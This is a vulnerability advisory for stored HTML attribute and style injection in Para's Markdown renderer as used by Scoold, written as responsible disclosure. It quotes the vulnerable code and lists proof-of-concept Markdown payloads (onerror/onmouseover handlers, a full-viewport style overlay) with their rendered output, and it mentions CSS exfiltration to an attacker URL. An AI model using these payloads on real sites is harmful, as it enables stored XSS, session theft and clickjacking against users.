Scoold / Para — Stored HTML attribute injection in Markdown rendering (event-handler & style injection; stored XSS without strict CSP)
Description
Para's Utils.markdownToHtml() renders Markdown with flexmark's AttributesExtension enabled. That extension lets Markdown source attach arbitrary HTML attributes to generated elements via the {...} syntax — including JavaScript event handlers (onerror, onmouseover, onclick, …) and style. In the default rendering path (html_in_markdown_enabled=false), the output is not passed through the HTML sanitizer (Jsoup.clean), and the flexmark options that are set (ESCAPE_HTML=true, SUPPRESSED_LINKS for javascript: URLs) do not remove injected attributes.
Scoold renders every question/answer/comment body with this method and prints the result unescaped into its Velocity templates. As a result, any user who can post content can inject HTML attributes into the page viewed by everyone else.
Scoold's default Content-Security-Policy uses script-src … 'strict-dynamic', which in CSP3-capable browsers suppresses the inline event handlers and thereby mitigates JavaScript execution. However:
style-src 'self' 'unsafe-inline'is allowed, so CSS/styleinjection works in the default configuration (defacement, full-viewport overlays / UI-redressing, limited CSS-based exfiltration).- The injected event handlers become fully-executing stored XSS when the CSP is turned off (
scoold.csp_header_enabled=false), when an operator overridesscoold.csp_headerwithoutstrict-dynamic, on CSP2-only browsers, and — importantly — in any other application that consumes Para'smarkdownToHtmlwithout such a CSP.
A notable detail: enabling html_in_markdown_enabled=true is safer against this, because that path runs Jsoup.clean() which strips event handlers and style. The default path is the vulnerable one.
Details
Para 1.55.3 — para-core/.../utils/Utils.java (the renderer and its options):
// getMarkdownOptions()
return new MutableDataSet()
.set(HtmlRenderer.ESCAPE_HTML, true)
.set(HtmlRenderer.GENERATE_HEADER_ID, true)
.set(HtmlRenderer.SUPPRESSED_LINKS, "(?i)javascript:.*")
...
.set(Parser.EXTENSIONS, Arrays.asList(
TablesExtension.create(), EmojiExtension.create(), StrikethroughExtension.create(),
TaskListExtension.create(), AutolinkExtension.create(), RelAttributeExtension.create(),
AttributesExtension.create(), // <-- allows arbitrary HTML attributes via {...}
AnchorLinkExtension.create(), InsExtension.create(), GitLabExtension.create(),
EnumeratedReferenceExtension.create(), MediaTagsExtension.create()));
private static final HtmlRenderer HTML_RENDERER_STRICT = HtmlRenderer.builder(MD_OPTIONS).build();
private static final HtmlRenderer HTML_RENDERER_LOOSE = HtmlRenderer.builder(MD_OPTIONS.set(HtmlRenderer.ESCAPE_HTML, false)).build();
public static String markdownToHtml(String md) { return markdownToHtml(md, false); }
public static String markdownToHtml(String md, boolean htmlTagsRenderingEnabled) {
Document parsed = MD_PARSER.parse(md);
if (htmlTagsRenderingEnabled) {
return Jsoup.clean(HTML_RENDERER_LOOSE.render(parsed), SAFE_HTML_TAGS); // sanitized
}
return HTML_RENDERER_STRICT.render(parsed); // <-- DEFAULT: NOT sanitized; keeps {...} attributes
}Source: github.com/markdownToHtml, getMarkdownOptions, getHTMLTagsWhitelist).
Scoold — unescaped output of the rendered HTML. Scoold installs a Velocity reference-escaping handler that escapes all references except those whose name contains an underscore:
// ScooldServer.java
velocityProperties.put(RuntimeConstants.EVENTHANDLER_REFERENCEINSERTION,
"org.apache.velocity.app.event.implement.EscapeHtmlReference");
velocityProperties.put("eventhandler.escape.html.match", "^((?!_).)+$");The post body is rendered into an underscore-named variable and printed raw:
## macro.vm
#set($_bodyHtml = $utils.markdownToHtml($!showpost.body, $!htmlInMarkdownEnabled))
$!{_bodyHtml}github.com/$!{_commentHtml} — and answer previews — $_answerBody.)
$utils is Para's Utils instance, and htmlInMarkdownEnabled defaults to false:
// ScooldRequestInterceptor.java
modelAndView.addObject("htmlInMarkdownEnabled", CONF.htmlInMarkdownEnabled()); // default falseScoold default CSP (what mitigates the script vector in modern browsers but allows style):
// ScooldConfig.getDefaultContentSecurityPolicy()
"style-src 'self' 'unsafe-inline' fonts.googleapis.com accounts.google.com …; "
"img-src 'self' https: data:; "
"script-src 'unsafe-inline' https: 'nonce-{{nonce}}' 'strict-dynamic';"Proof of concept
What was executed verbatim (component-level)
Para's getMarkdownOptions() STRICT configuration was reproduced exactly (ESCAPE_HTML=true, SUPPRESSED_LINKS="(?i)javascript:.*", AttributesExtension enabled) against the real flexmark-java 0.64.8 and rendered. Output:
MD : {onerror=alert(document.cookie)}
HTML: <p><img src="https://example.com/x.png" alt="img" onerror="alert(document.cookie)" /></p>
MD : # Heading {onmouseover=alert(1)}
HTML: <h1 onmouseover="alert(1)">Heading</h1>
MD : normal *text*{onmouseover=alert(document.domain)} here
HTML: <p>normal <em onmouseover="alert(document.domain)">text</em> here</p>
MD : [linktext](https://example.com){onmouseover=alert(1)}
HTML: <p><a href="https://example.com" onmouseover="alert(1)">linktext</a></p>
MD : para text {style="position:fixed;top:0;left:0;width:100%;height:100%" onclick=alert(1)}
HTML: <p style="position:fixed;top:0;left:0;width:100%;height:100%" onclick="alert(1)">para text</p>
MD : [x](javascript:alert(1))
HTML: <p>x</p> (the javascript: LINK is suppressed — but attribute injection is not)The onerror case needs no user interaction: the attacker-controlled image URL simply has to fail to load, and the handler runs.
End-to-end in Scoold (steps)
- Register/sign in as any user (Scoold allows self-registration by default).
- Create a question, answer, or comment whose body is, for example: ``
Hello {onerror="alert(document.domain)"}`or, for the style/CSS-injection vector that works even under the default CSP:`Click me {style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9999;background:#fff"}`` - Any user who views that post receives the injected attribute in the page HTML (
$!{_bodyHtml}is printed unescaped).
- With the default CSP in a modern browser: the
styleoverlay renders (defacement / UI-redressing); theonerrorhandler is blocked bystrict-dynamic. - With CSP disabled or without
strict-dynamic(both supported viascoold.csp_header_enabled/scoold.csp_header), or on a CSP2-only browser: theonerror/onmouseoverhandler executes → stored XSS in the Scoold origin.
Impact
- Default configuration, modern browser: stored CSS/style injection by any registered user affecting all viewers — page defacement, full-viewport clickjacking/UI-redressing overlays, limited CSS-based data exfiltration (
img-src https:permitsbackground:url(https://attacker/…)). - CSP disabled/weakened, legacy browsers, or other Para-based apps: stored XSS — session/CSRF-token theft, actions as the victim (including moderators/admins), account takeover.
- Because the flaw is in Para's shared
markdownToHtml, every application built on Para that renders user Markdown is affected unless it independently sanitizes or applies a strict CSP.